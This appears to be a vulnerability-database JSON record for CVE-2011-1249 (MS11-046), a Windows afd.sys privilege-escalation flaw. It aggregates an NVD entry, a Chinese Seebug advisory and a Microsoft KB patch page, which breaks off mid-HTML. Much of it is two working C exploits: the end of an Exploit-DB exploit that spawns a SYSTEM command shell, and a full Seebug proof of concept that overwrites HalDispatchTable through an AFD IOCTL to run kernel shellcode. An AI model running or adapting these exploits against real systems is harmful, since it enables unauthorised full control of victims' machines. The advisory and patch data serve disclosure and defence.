
\");\r

\r

\r

////////////////////////////////////////////////////////////////\r

// EXPLOIT THE VULNERABILITY\r

////////////////////////////////////////////////////////////////\r

\r

printf(\"[*] Exploiting vulnerability\

\");\r

\r

\r

// send AFD socket connect request\r

printf(\" [*] Sending AFD socket connect request\

\");\r

DWORD lpInBuffer[lpInBufferSize];\r

memset(lpInBuffer, 0, (lpInBufferSize * sizeof(DWORD)));\r

\r

lpInBuffer[3] = 0x01;\r

lpInBuffer[4] = 0x20;\r

ULONG lpBytesReturned = 0;\r

\r

if(DeviceIoControl(\r

(HANDLE) targetDeviceSocket,\r

0x00012007, // IOCTL_AFD_CONNECT\r

(PVOID) lpInBuffer, sizeof(lpInBuffer),\r

(PVOID) (HalDispatchTableKrnlSpcAddr + 0x6), 0x0,\r

&lpBytesReturned, NULL\r

) == 0)\r

{\r

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms679360(v=vs.85).aspx\r

errorCode = GetLastError();\r

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx\r

// in case of ERROR_INVALID_NETNAME\r

if(errorCode == 1214)\r

{\r

// AFD socket connect request successful\r

printf(\" [+] Done\

\");\r

}\r

// in case of ERROR_NOACCESS\r

else if(errorCode == 998)\r

{\r

// AFD socket connect request unsuccessful - target is patched\r

printf(\" [!] Target patched\

\");\r

printf(\" [*] Possible security patches\

\");\r

for(i = 0; i < securityPatchesCount; i++)\r

printf(\" [*] %s\

\", securityPatchesPtr[i]);\r

return -1;\r

}\r

// in case of any other error message\r

else\r

{\r

// print the error code\r

printf(\" [-] Failed (error code: %d)\

\", errorCode);\r

return -1;\r

}\r

}\r

\r

\r

// elevate privileges of the current process\r

printf(\" [*] Elevating privileges to SYSTEM\

\");\r

ULONG outInterval = 0;\r

// https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FProfile%2FNtQueryIntervalProfile.html\r

NtQueryIntervalProfile(2, &outInterval);\r

printf(\" [+] Done\

\");\r

\r

\r

// spawn shell (with elevated privileges)\r

printf(\" [*] Spawning shell\

\");\r

// spawn SYSTEM shell within the current shell (remote shell friendly)\r

system (\"c:\\\\windows\\\\system32\\\\cmd.exe /K cd c:\\\\windows\\\\system32\");\r

\r

// clean up and exit\r

printf(\"\

[*] Exiting SYSTEM shell\

\");\r

WSACleanup();\r

return 1;\r

}\r

\r

// EoF\r

", "cvss": {"vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/", "score": 7.2}, "sourceHref": "https://www.exploit-db.com/download/40564/"}

{"cve": [{"lastseen": "2020-09-21T14:01:23", "description": "The Ancillary Function Driver (AFD) in afd.sys in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, R2, and R2 SP1, and Windows 7 Gold and SP1 does not properly validate user-mode input, which allows local users to gain privileges via a crafted application, aka \"Ancillary Function Driver Elevation of Privilege Vulnerability.\"", "edition": 2, "cvss3": {}, "published": "2011-06-16T20:55:00", "title": "CVE-2011-1249", "type": "cve", "cwe": ["CWE-264"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2011-1249"], "modified": "2019-02-26T14:04:00", "cpe": ["cpe:/o:microsoft:windows_server_2003:*", "cpe:/o:microsoft:windows_server_2008:-", "cpe:/o:microsoft:windows_vista:*", "cpe:/o:microsoft:windows_2003_server:*", "cpe:/o:microsoft:windows_xp:-", "cpe:/o:microsoft:windows_server_2008:*", "cpe:/o:microsoft:windows_server_2008:r2", "cpe:/o:microsoft:windows_xp:*", "cpe:/o:microsoft:windows_7:-"], "id": "CVE-2011-1249", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-1249", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:o:microsoft:windows_server_2008:*:*:x32:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_xp:-:sp2:x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:*:sp2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_vista:*:sp2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:r2:*:itanium:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_xp:*:sp3:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2003:*:sp2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:r2:*:x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_7:-:sp1:x86:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:*:sp2:x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:itanium:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:itanium:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:*:sp2:x32:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:*:*:itanium:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_7:-:sp1:x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2008:*:*:x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_vista:*:sp1:*:*:*:*:*:*"]}], "seebug": [{"lastseen": "2017-11-19T17:52:38", "description": "No description provided by source.", "published": "2012-04-20T00:00:00", "type": "seebug", "title": "MS11-046 Microsoft Windows (x86) - 'afd.sys' Privilege Escalation (CVE-2011-1249)", "bulletinFamily": "exploit", "cvelist": ["CVE-2011-1249"], "modified": "2012-04-20T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-60072", "id": "SSV:60072", "sourceData": "

/*\r

MS11-046 Was a Zero day found in the wild , reported to MS by\r

\r

Steven Adair from the Shadowserver Foundation and Chris S .\r

\r

Ronnie Johndas wrote the writeup dissecting a malware with this exploit .\r

\r

I Rahul Sasi(fb1h2s) just made the POC exploit available .\r

\r

Reference: ms8-66, ms6-49\r

\r

*************************************************************\r

Too lazy to add the shellcode , you could steel this one, it should work .\r

\r

http://www.whitecell.org/list.php?id=50\r

\r

The shell code to acheive privilage esclation as per the article used the following steps\r

\r

http://www.exploit-db.com/wp-content/themes/exploit/docs/18712.pdf\r

.\r

\r

1) Use PslookupProcessId get system token\r

2) Replace it with the current process token, and we are system\r

\r

\r

*************************************************************\r

\r

\r

*/\r

\r

#define SystemModuleInformation 11\r

#ifndef WIN32_LEAN_AND_MEAN\r

#define WIN32_LEAN_AND_MEAN\r

#endif\r

#ifndef _WIN32_WINNT\r

//For XP Only\r

#define _WIN32_WINNT 0x0501\r

#endif\r

// We have a client sock conencting to 135 considering the fact it's open by default\r

#define DEFAULT_ADDR "127.0.0.1"\r

#define DEFAULT_PORT "135"\r

\r

#include <windows.h>\r

#include <winsock2.h>\r

#include <ws2tcpip.h>\r

#include <stdio.h>\r

#include <iphlpapi.h>\r

#include <stdio.h>\r

\r

#pragma comment(lib, "Ws2_32.lib")\r

#pragma comment (lib, "ntdll.lib")\r

\r

\r

//lets make a nop ret sandwitch\r

unsigned char hexcode[]="\\x90\\x90\\x90\\xcc\\x90\\x90\\x90\\x90";\r

\r

/*\r

The shell code to acheive privilage esclation\r

\r

Add you shellcode here as per the article http://www.exploit-db.com/wp-content/themes/exploit/docs/18712.pdf\r

the malware used the following method.\r

\r

1) Wse PslookupProcessId get system token\r

2) Replace it with the current process token, and we are system\r

\r

*/\r

\r

// he gets the above sandwitch\r

LPVOID hexcode_addr = (LPVOID)0x00000000;\r

\r

DWORD sizeofshell = 0x1000;\r

// he gets the haldispatch\r

\r

ULONG_PTR HalDispatchTable;\r

\r

//Holds the base adress of krnl\r

\r

PVOID krl_base;\r

\r

//load adress of those %krnl%.exe dudes\r

HMODULE krl_addr;\r

\r

\r

\r

// structure system_module_info data\r

\r

typedef struct _SYSTEM_MODULE_INFORMATION {\r

ULONG Reserved[2];\r

PVOID Base;\r

ULONG Size;\r

ULONG Flags;\r

USHORT Index;\r

USHORT Unknown;\r

USHORT LoadCount;\r

USHORT ModuleNameOffset;\r

CHAR ImageName[256];\r

} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;\r

\r

//sock addrinfo\r

struct addrinfo *result = NULL,\r

*ptr = NULL,\r

hints;\r

\r

\r

// The list of loaded drivers\r

typedef LONG NTSTATUS, *PNTSTATUS;\r

\r

NTSTATUS\r

NTAPI\r

ZwQuerySystemInformation(\r

IN ULONG SystemInformationClass,\r

IN PVOID SystemInformation,\r

IN ULONG SystemInformationLength,\r

OUT PULONG ReturnLength);\r

typedef enum _KPROFILE_SOURCE {\r

\r

\r

ProfileTime,\r

ProfileAlignmentFixup,\r

ProfileTotalIssues,\r

ProfilePipelineDry,\r

ProfileLoadInstructions,\r

ProfilePipelineFrozen,\r

ProfileBranchInstructions,\r

ProfileTotalNonissues,\r

ProfileDcacheMisses,\r

ProfileIcacheMisses,\r

ProfileCacheMisses,\r

ProfileBranchMispredictions,\r

ProfileStoreInstructions,\r

ProfileFpInstructions,\r

ProfileIntegerInstructions,\r

Profile2Issue,\r

Profile3Issue,\r

Profile4Issue,\r

ProfileSpecialInstructions,\r

ProfileTotalCycles,\r

ProfileIcacheIssues,\r

ProfileDcacheAccesses,\r

ProfileMemoryBarrierCycles,\r

ProfileLoadLinkedIssues,\r

ProfileMaximum\r

\r

} KPROFILE_SOURCE, *PKPROFILE_SOURCE;\r

\r

\r

typedef DWORD (WINAPI *PNTQUERYINTERVAL)( KPROFILE_SOURCE ProfileSource,PULONG Interval );\r

\r

typedef NTSTATUS (WINAPI *PNTALLOCATE)( IN HANDLE ProcessHandle,\r

IN OUT PVOID *BaseAddress,\r

IN ULONG ZeroBits,\r

IN OUT PULONG RegionSize,\r

IN ULONG AllocationType,\r

IN ULONG Protect );\r

\r

\r

\r

\r

int main() {\r

\r

//All the declarations goes here\r

\r

PNTQUERYINTERVAL ZwQueryIntervalProfile;\r

PNTALLOCATE ZwAllocateVirtualMemory;\r

KPROFILE_SOURCE stProfile = ProfileTotalIssues;\r

ULONG Ret_size;\r

NTSTATUS status,alloc_status ;\r

\r

ULONG i, n, *q;\r

PSYSTEM_MODULE_INFORMATION p;\r

void *base;\r

WSADATA wsaData;\r

SOCKET ConnectSocket = INVALID_SOCKET;\r

int iResult;\r

DWORD ibuf [0x30];\r

DWORD obuf [0x30];\r

ULONG_PTR result;\r

\r

hints.ai_family = AF_UNSPEC;\r

hints.ai_socktype = SOCK_STREAM;\r

hints.ai_protocol = IPPROTO_TCP;\r

\r

\r

printf("\

[+] MS11-046 Exploit by fb1h2s(Rahul Sasi) ");\r

/*\r

MS11-046 Was a Zero day found in the wild , reported to MS by\r

\r

Steven Adair from the Shadowserver Foundation and Chris S .\r

\r

Ronnie Johndas wrote the writeup dissecting a malware with the exploit details .\r

\r

I Rahul Sasi(fb1h2s) just made the POC exploit available .\r

\r

Reference: ms8_66, ms6_49 http://www.whitecell.org/list.php?id=50 exp codes\r

\r

*/\r

status = ZwQuerySystemInformation(SystemModuleInformation, &n, 0, &n);\r

\r

q = (ULONG *)malloc(n * sizeof(*q));\r

if (q == NULL) {\r

perror("malloc");\r

return -1;\r

}\r

\r

status = ZwQuerySystemInformation(SystemModuleInformation, q, n * sizeof(*q), NULL);\r

\r

p = (PSYSTEM_MODULE_INFORMATION)(q + 1);\r

base = NULL;\r

\r

// Loop Loop The table and check for our krl\r

\r

for (i = 0; i < *q; i++)\r

{\r

\r

if( strstr(p[i].ImageName,"ntkrnlpa.exe") )\r

\r

{\r

printf("\

[+] Yo Yo found, and am In ntkrnlpa.exe \

");\r

\r

krl_addr = LoadLibraryExA("ntkrnlpa.exe",0,1);\r

printf("\\t Base: 0x%x size: %u\\t%s\

",\r

p[i].Base,\r

p[i].Size,\r

p[i].ImageName);\r

krl_base = p[i].Base;\r

break;\r

}\r

\r

else if(strstr(p[i].ImageName,"ntoskrnl.exe"))\r

\r

{\r

\r

printf("\

[+] Yo Yo found, and am In ntoskrnl.exe\

");\r

\r

krl_addr = LoadLibraryExA("ntoskrnl.exe",0,1);\r

printf("\\t Base Adress: 0x%x ",p[i].Base);\r

krl_base = p[i].Base;\r

break;\r

\r

}\r

\r

else\r

{\r

printf("\

[+]Cdnt find, and am out\

");\r

exit(0);\r

}\r

\r

\r

}\r

free(q);\r

\r

\r

printf("\

[+] Continue with Exploitation\

");\r

\r

HalDispatchTable = (ULONG_PTR)GetProcAddress(krl_addr,\r

"HalDispatchTable");\r

\r

if( !HalDispatchTable )\r

{\r

printf("[!!] Sh*t happen with HalDispatchTablen");\r

return FALSE;\r

}\r

\r

printf("\\tBase Nt=: 0x%x ",krl_base);\r

HalDispatchTable -= ( ULONG_PTR )krl_addr;\r

HalDispatchTable += krl_base;\r

\r

printf("\

[+] HalDispatchTable found \\t\\t\\t [ 0x%p ]\

",HalDispatchTable);\r

\r

\r

printf("[+] ZwQueryIntervalProfile ");\r

\r

ZwQueryIntervalProfile = ( PNTQUERYINTERVAL ) GetProcAddress(GetModuleHandle("ntdll.dll"),\r

"ZwQueryIntervalProfile");\r

if( !ZwQueryIntervalProfile )\r

{\r

printf("[!!] Sh*t happen resolving ZwQueryIntervalProfile\

");\r

return FALSE;\r

}\r

printf( "\\t\\t\\t [ 0x%p ]\

",ZwQueryIntervalProfile );\r

\r

\r

\r

printf("[+] ZwAllocateVirtualMemory");\r

\r

\r

ZwAllocateVirtualMemory = (PNTALLOCATE) GetProcAddress(GetModuleHandle( "ntdll.dll"),\r

"ZwAllocateVirtualMemory");\r

\r

if( !ZwAllocateVirtualMemory )\r

{\r

printf("[!!] Unable to resolve ZwAllocateVirtualMemory\

");\r

return FALSE;\r

}\r

\r

printf( "\\t\\t\\t [ 0x%p ]\

",ZwAllocateVirtualMemory );\r

printf("\

[+] Allocating memory at [ 0x%p ]...\

",hexcode_addr);\r

\r

alloc_status = ZwAllocateVirtualMemory( INVALID_HANDLE_VALUE,\r

&hexcode_addr,\r

0,\r

&sizeofshell,\r

MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,\r

PAGE_EXECUTE_READWRITE );\r

printf("\

[+] status %p.\

",alloc_status );\r

\r

if( alloc_status != 0 )\r

{\r

printf("[-] Sh*t happen with NtAllocateVirtualMemory() , %#X\

",\r

alloc_status);\r

\r

}\r

\r

printf("\\t\\tZwAllocateVirtualMemory() Allocated return Status, %#X\

",\r

alloc_status);\r

memset(hexcode_addr, 0x90, sizeofshell);\r

\r

memcpy( (void*)((BYTE*)hexcode_addr + 0x100),(void*)hexcode, sizeof(hexcode));\r

\r

iResult = WSAStartup(MAKEWORD(2,2), &wsaData);\r

if (iResult != 0) {\r

printf("WASUP Failed: %d\

", iResult);\r

return 1;\r

}\r

\r

iResult = getaddrinfo(DEFAULT_ADDR, DEFAULT_PORT, &hints, &result);\r

\r

\r

ptr=result;\r

\r

// SOCKET for connecting to localhost at 135\r

\r

ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,\r

ptr->ai_protocol);\r

if (ConnectSocket == INVALID_SOCKET) {\r

printf("[-] This is bad , Socket Error : %ld\

", WSAGetLastError());\r

freeaddrinfo(result);\r

WSACleanup();\r

return 1;\r

}\r

\r

// Connect to server.\r

iResult = connect( ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);\r

if (iResult == SOCKET_ERROR) {\r

closesocket(ConnectSocket);\r

ConnectSocket = INVALID_SOCKET;\r

printf("[+]Unable to connect to server, modify code and add a server socket, and connect to it!\

");\r

WSACleanup();\r

return ;\r

}\r

\r

else {\r

printf("[+]Hola Connected to server !\

");\r

}\r

\r

\r

\r

memset(ibuf,0x90,sizeof(ibuf));\r

memset(obuf,0x90,sizeof(obuf));\r

\r

DeviceIoControl((HANDLE)ConnectSocket,\r

0x12007,\r

(LPVOID)ibuf,sizeof(ibuf),\r

(LPVOID)obuf,0,\r

&Ret_size,\r

NULL);\r

\r

for( i = 0; i < sizeof( hints ) ; i++)\r

{\r

printf(" %02X ",(unsigned char)obuf[i]);\r

}\r

\r

\r

printf("\

\

[+] Overwriting HalDispatchTable with those bytes...");\r

\r

DeviceIoControl((HANDLE)ConnectSocket,\r

0x12007,\r

(LPVOID)ibuf,sizeof(ibuf),\r

(LPVOID)HalDispatchTable,0,\r

&Ret_size,\r

NULL);\r

\r

\r

\r

printf("\

\

[+] This should work and break...");\r

\r

ZwQueryIntervalProfile(stProfile,&result);\r

\r

\r

\r

\r

}

", "sourceHref": "https://www.seebug.org/vuldb/ssvid-60072", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-11-19T18:02:48", "description": "Bugtraq ID: 48198\r

CVE ID\uff1aCVE-2011-1249\r

\r

Microsoft Windows\u662f\u4e00\u6b3e\u6d41\u884c\u7684\u64cd\u4f5c\u7cfb\u7edf\u3002\r

\u5904\u7406\u7528\u6237\u7a7a\u95f4\u6570\u636e\u4f20\u9012\u5230\u5185\u6838\u65f6AFD\u9a71\u52a8\u5b58\u5728\u8f93\u5165\u9a8c\u8bc1\u9519\u8bef\uff0c\u6784\u5efa\u7279\u5236\u7684\u5e94\u7528\u7a0b\u5e8f\uff0c\u53ef\u5728\u5185\u6838\u4e0a\u4e0b\u6587\u6267\u884c\u4efb\u610f\u4ee3\u7801\u3002\r

\u6839\u636eMicrosoft\u62a5\u544a\uff0c\u6b64\u6f0f\u6d1e\u5df2\u7ecf\u5728\u7f51\u7edc\u4e0a\u79ef\u6781\u5229\u7528



Microsoft Windows XP Service Pack 3 0\r

Microsoft Windows XP Professional x64 Edition SP2\r

Microsoft Windows XP Professional x64 Edition\r

Microsoft Windows XP Professional SP3\r

Microsoft Windows XP Professional SP2\r

Microsoft Windows XP Professional SP1\r

Microsoft Windows XP Professional\r

Microsoft Windows XP Media Center Edition SP3\r

Microsoft Windows XP Media Center Edition SP2\r

Microsoft Windows XP Media Center Edition SP1\r

Microsoft Windows XP Media Center Edition\r

Microsoft Windows XP Home SP3\r

Microsoft Windows XP Home SP2\r

Microsoft Windows XP Home SP1\r

Microsoft Windows XP Home\r

Microsoft Windows XP Embedded SP3\r

Microsoft Windows XP Embedded SP2\r

Microsoft Windows XP Embedded SP1\r

Microsoft Windows XP Embedded\r

Microsoft Windows XP 64-bit Edition Version 2003 SP1\r

Microsoft Windows XP 64-bit Edition Version 2003\r

Microsoft Windows XP 64-bit Edition SP1\r

Microsoft Windows XP 64-bit Edition\r

Microsoft Windows XP - Gold X64\r

Microsoft Windows XP - Gold Home\r

Microsoft Windows XP - Gold 64-Bit-2002\r

Microsoft Windows Vista x64 Edition SP2\r

Microsoft Windows Vista x64 Edition SP1\r

Microsoft Windows Vista x64 Edition 0\r

Microsoft Windows Vista Home Premium 64-bit edition SP2\r

Microsoft Windows Vista Home Premium 64-bit edition SP1\r

Microsoft Windows Vista Home Premium 64-bit edition 0\r

Microsoft Windows Vista Home Basic 64-bit edition Sp2 X64\r

Microsoft Windows Vista Home Basic 64-bit edition SP2\r

Microsoft Windows Vista Home Basic 64-bit edition Sp1 X64\r

Microsoft Windows Vista Home Basic 64-bit edition SP1\r

Microsoft Windows Vista Home Basic 64-bit edition 0\r

Microsoft Windows Vista Enterprise 64-bit edition SP2\r

Microsoft Windows Vista Enterprise 64-bit edition SP1\r

Microsoft Windows Vista Enterprise 64-bit edition 0\r

Microsoft Windows Vista Business 64-bit edition SP2\r

Microsoft Windows Vista Business 64-bit edition SP1\r

Microsoft Windows Vista Business 64-bit edition 0\r

Microsoft Windows Server 2008 R2 x64 SP1\r

Microsoft Windows Server 2008 R2 x64 0\r

Microsoft Windows Server 2008 R2 Itanium SP1\r

Microsoft Windows Server 2008 R2 Itanium 0\r

Microsoft Windows Server 2008 for x64-based Systems SP2\r

Microsoft Windows Server 2008 for x64-based Systems 0\r

Microsoft Windows Server 2008 for Itanium-based Systems SP2\r

Microsoft Windows Server 2008 for Itanium-based Systems 0\r

Microsoft Windows Server 2008 for 32-bit Systems SP2\r

Microsoft Windows Server 2008 for 32-bit Systems 0\r

Microsoft Windows Server 2003 x64 SP2\r

Microsoft Windows Server 2003 x64 SP1\r

Microsoft Windows Server 2003 Standard Edition SP2\r

Microsoft Windows Server 2003 Standard Edition SP1\r

Microsoft Windows Server 2003 Standard Edition\r

Microsoft Windows Server 2003 Itanium SP2\r

Microsoft Windows Server 2003 Itanium SP1\r

Microsoft Windows Server 2003 Itanium 0\r

Microsoft Windows 7 for x64-based Systems SP1\r

Microsoft Windows 7 for x64-based Systems 0\r

Microsoft Windows 7 for 32-bit Systems SP1\r

Microsoft Windows 7 for 32-bit Systems

\u5382\u5546\u89e3\u51b3\u65b9\u6848\r

\u7528\u6237\u53ef\u53c2\u8003\u5982\u4e0b\u4f9b\u5e94\u5546\u63d0\u4f9b\u7684\u5b89\u5168\u516c\u544a\u83b7\u5f97\u8865\u4e01\u4fe1\u606f\uff1a\r

http://www.microsoft.com/technet/security/Bulletin/MS11-046.mspx", "published": "2011-06-16T00:00:00", "title": "Microsoft Windows 'AFD.sys'\u9a71\u52a8\u672c\u5730\u7279\u6743\u63d0\u5347\u6f0f\u6d1e", "type": "seebug", "bulletinFamily": "exploit", "cvelist": ["CVE-2011-1249"], "modified": "2011-06-16T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-20642", "id": "SSV:20642", "sourceData": "", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": ""}], "mskb": [{"lastseen": "2020-08-13T09:44:07", "bulletinFamily": "microsoft", "cvelist": ["CVE-2011-1249"], "description": "<html><body><p>Resolves a vulnerability in AFD.sys that could allow elevation of privilege if an attacker logs on to a user's system and runs a specially crafted application.</p><h2>Introduction</h2><div class=\"kb-summary-section section\">Microsoft has released security bulletin MS11-046. To view the complete security bulletin, visit one of the following Microsoft websites: <ul class=\"sbody-free_list\"><li>Home users:<br/><div class=\"indent\"><a href=\"http://www.microsoft.com/security/pc-security/bulletins/201106.aspx\" id=\"kb-link-1\" target=\"_self\">http://www.microsoft.com/security/pc-security/bulletins/201106.aspx</a></div><span class=\"text-base\">Skip the details</span>: Download the updates for your home computer or laptop from the Microsoft Update website now: <div class=\"indent\"><a href=\"http://update.microsoft.com/microsoftupdate/\" id=\"kb-link-2\" target=\"_self\">http://update.microsoft.com/microsoftupdate/</a></div></li><li>IT professionals: <br/><div class=\"indent\"><a href=\"http://www.microsoft.com/technet/security/bulletin/ms11-046.mspx\" id=\"kb-link-3\" target=\"_self\">http://www.microsoft.com/technet/security/bulletin/MS11-046.mspx</a></div></li></ul><span><h3 class=\"sbody-h3\">How to obtain help and support for this security update</h3> <br/>Help installing updates: <br/><a href=\"https://support.microsoft.com/ph/6527\" id=\"kb-link-4\" target=\"_self\">Support for Microsoft Update</a><br/><br/>Security solutions for IT professionals: <br/><a href=\"http://technet.microsoft.com/security/bb980617.aspx\" id=\"kb-link-5\" target=\"_self\">TechNet Security Troubleshooting and Support</a><br/><br/>Help protect your computer that is running Windows from viruses and malware:<br/><a href=\"https://support.microsoft.com/contactus/cu_sc_virsec_master\" id=\"kb-link-6\" target=\"_self\">Virus Solution and Security Center</a><br/><br/>Local support according to your country: <br/><a href=\"https://support.microsoft.com/common/international.aspx\" id=\"kb-link-7\" target=\"_self\">International Support</a><br/><br/></span></div><h2>File information</h2><div class=\"kb-summary-section section\">The English (United States) version of this software update installs files that have the attributes that are listed in the following tables. The dates and times for these files are listed in Coordinated Universal Time (UTC). The dates and times for these files on your local computer are displayed in your local time and with your current daylight saving time (DST) bias. Additionally, the dates and times may change when you perform certain operations on the files. <h3 class=\"sbody-h3\">Windows XP and Windows Server 2003 file information</h3><ul class=\"sbody-free_list\"><li>The files that apply to a specific milestone (SP<strong class=\"sbody-strong\">n</strong>) and service branch (QFE, GDR) are noted in the \"SP requirement\" and \"Service branch\" columns.</li><li>GDR service branches contain only those fixes that are widely released to address widespread, critical issues. QFE service branches contain hotfixes in addition to widely released fixes.</li><li>In addition to the files that are listed in these tables, this software update also installs an associated security catalog file (KB<strong class=\"sbody-strong\">number</strong>.cat) that is signed with a Microsoft digital signature.</li></ul><h4 class=\"sbody-h4\">For all supported x86-based versions of Windows XP</h4><div class=\"table-responsive\"><table class=\"sbody-table table\"><tr class=\"sbody-tr\"><th class=\"sbody-th\">File name</th><th class=\"sbody-th\">File version</th><th class=\"sbody-th\">File size</th><th class=\"sbody-th\">Date</th><th class=\"sbody-th\">Time</th><th class=\"sbody-th\">Platform</th><th class=\"sbody-th\">SP requirement</th><th class=\"sbody-th\">Service branch</th></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\">Afd.sys</td><td class=\"sbody-td\">5.1.2600.6081</td><td class=\"sbody-td\">138,496</td><td class=\"sbody-td\">16-Feb-2011</td><td class=\"sbody-td\">13:22</td><td class=\"sbody-td\">x86</td><td class=\"sbody-td\">SP3</td><td class=\"sbody-td\">SP3GDR</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\">Afd.sys</td><td class=\"sbody-td\">5.1.2600.6081</td><td class=\"sbody-td\">138,496</td><td class=\"sbody-td\">16-Feb-2011</td><td class=\"sbody-td\">13:25</td><td class=\"sbody-td\">x86</td><td class=\"sbody-td\">SP3</td><td class=\"sbody-td\">SP3QFE</td></tr></table></div><h4 class=\"sbody-h4\">For all supported x64-based versions of Windows Server 2003 and of Windows XP Professional x64 edition</h4><div class=\"table-responsive\"><table class=\"sbody-table table\"><tr class=\"sbody-tr\"><th class=\"sbody-th\">File name</th><th class=\"sbody-th\">File version</th><th class=\"sbody-th\">File size</th><th class=\"sbody-th\">Date</th><th class=\"sbody-th\">Time</th><th class=\"sbody-th\">Platform</th><th class=\"sbody-th\">SP requirement</th><th class=\"sbody-th\">Service branch</th></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\">Afd.sys</td><td class=\"sbody-td\">5.2.3790.4828</td><td class=\"sbody-td\">291,840</td><td class=\"sbody-td\">11-Feb-2011</td><td class=\"sbody-td\">23:23</td><td class=\"sbody-td\">x64</td><td class=\"sbody-td\">SP2</td><td class=\"sbody-td\">SP2GDR</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\">Afd.sys</td><td class=\"sbody-td\">5.2.3790.4828</td><td class=\"sbody-td\">292,352</td><td class=\"sbody-td\">11-Feb-2011</td><td class=\"sbody-td\">23:20</td><td class=\"sbody-td\">x64</td><td class=\"sbody-td\">SP2</td><td class=\"sbody-td\">SP2QFE</td></tr></table></div><h4 class=\"sbody-h4\">For all supported x86-based versions of Windows Server 2003</h4><div class=\"table-responsive\"><table class=\"sbody-table table\"><tr class=\"sbody-tr\"><th class=\"sbody-th\">File name</th><th class=\"sbody-th\">File version</th><th class=\"sbody-th\">File size</th><th class=\"sbody-th\">Date</th><th class=\"sbody-th\">Time</th><th class=\"sbody-th\">Platform</th><th class=\"sbody-th\">SP requirement</th><th class=\"sbody-th\">Service branch</th></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\">Afd.sys</td><td class=\"sbody-td\">5.2.3790.4828</td><td class=\"sbody-td\">150,528</td><td class=\"sbody-td\">10-Feb-2011</td><td class=\"sbody-td\">13:44</td><td class=\"sbody-td\">x86</td><td class=\"sbody-td\">SP2</td><td class=\"sbody-td\">SP2GDR</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\">Afd.sys</td><td class=\"sbody-td\">5.2.3790.4828</td><td class=\"sbody-td\">150,528</td><td class=\"sbody-td\">10-Feb-2011</td><td class=\"sbody-td\">14:08</td><td class=\"sbody-td\">x86</td><td class=\"sbody-td\">SP2</td><td class=\"sbody-td\">SP2QFE</td></tr></table></div><h4 class=\"sbody-h4\">For all supported IA-64-based versions of Windows Server 2003</h4><div class=\"table-responsive\"><table class=\"sbody-table table\"><tr class=\"sbody-tr\"><th class=\"sbody-th\">File name</th><th class=\"sbody-th\">File version</th><th class=\"sbody-th\">File size</th><th class=\"sbody-th\">Date</th><th class=\"sbody-th\">Time</th><th class=\"sbody-th\">Platform</th><th class=\"sbody-th\">SP requirement</th><th class=\"sbody-th\">Service branch</th></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\">Afd.sys</td><td class=\"sbody-td\">5.2.3790.4828</td><td class=\"sbody-td\">583,680</td><td class=\"sbody-td\">11-Feb-2011</td><td class=\"sbody-td\">23:23</td><td class=\"sbody-td\">IA-64</td><td class=\"sbody-td\">SP2</td><td class=\"sbody-td\">SP2GDR</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\">Afd.sys</td><td class=\"sbody-td\">5.2.3790.4828</td><td class=\"sbody-td\">584,192</td><td class=\"sbody-td\">11-Feb-2011</td><td class=\"sbody-td\">23:20</td><td class=\"sbody-td\">IA-64</td><td class=\"sbody-td\">SP2</td><td class=\"sbody-td\">SP2QFE</td></tr></table></div><h3 class=\"sbody-h3\">Windows Vista and Windows Server 2008 file information</h3><ul class=\"sbody-free_list\"><li>The files that apply to a specific product, milestone (SP<strong 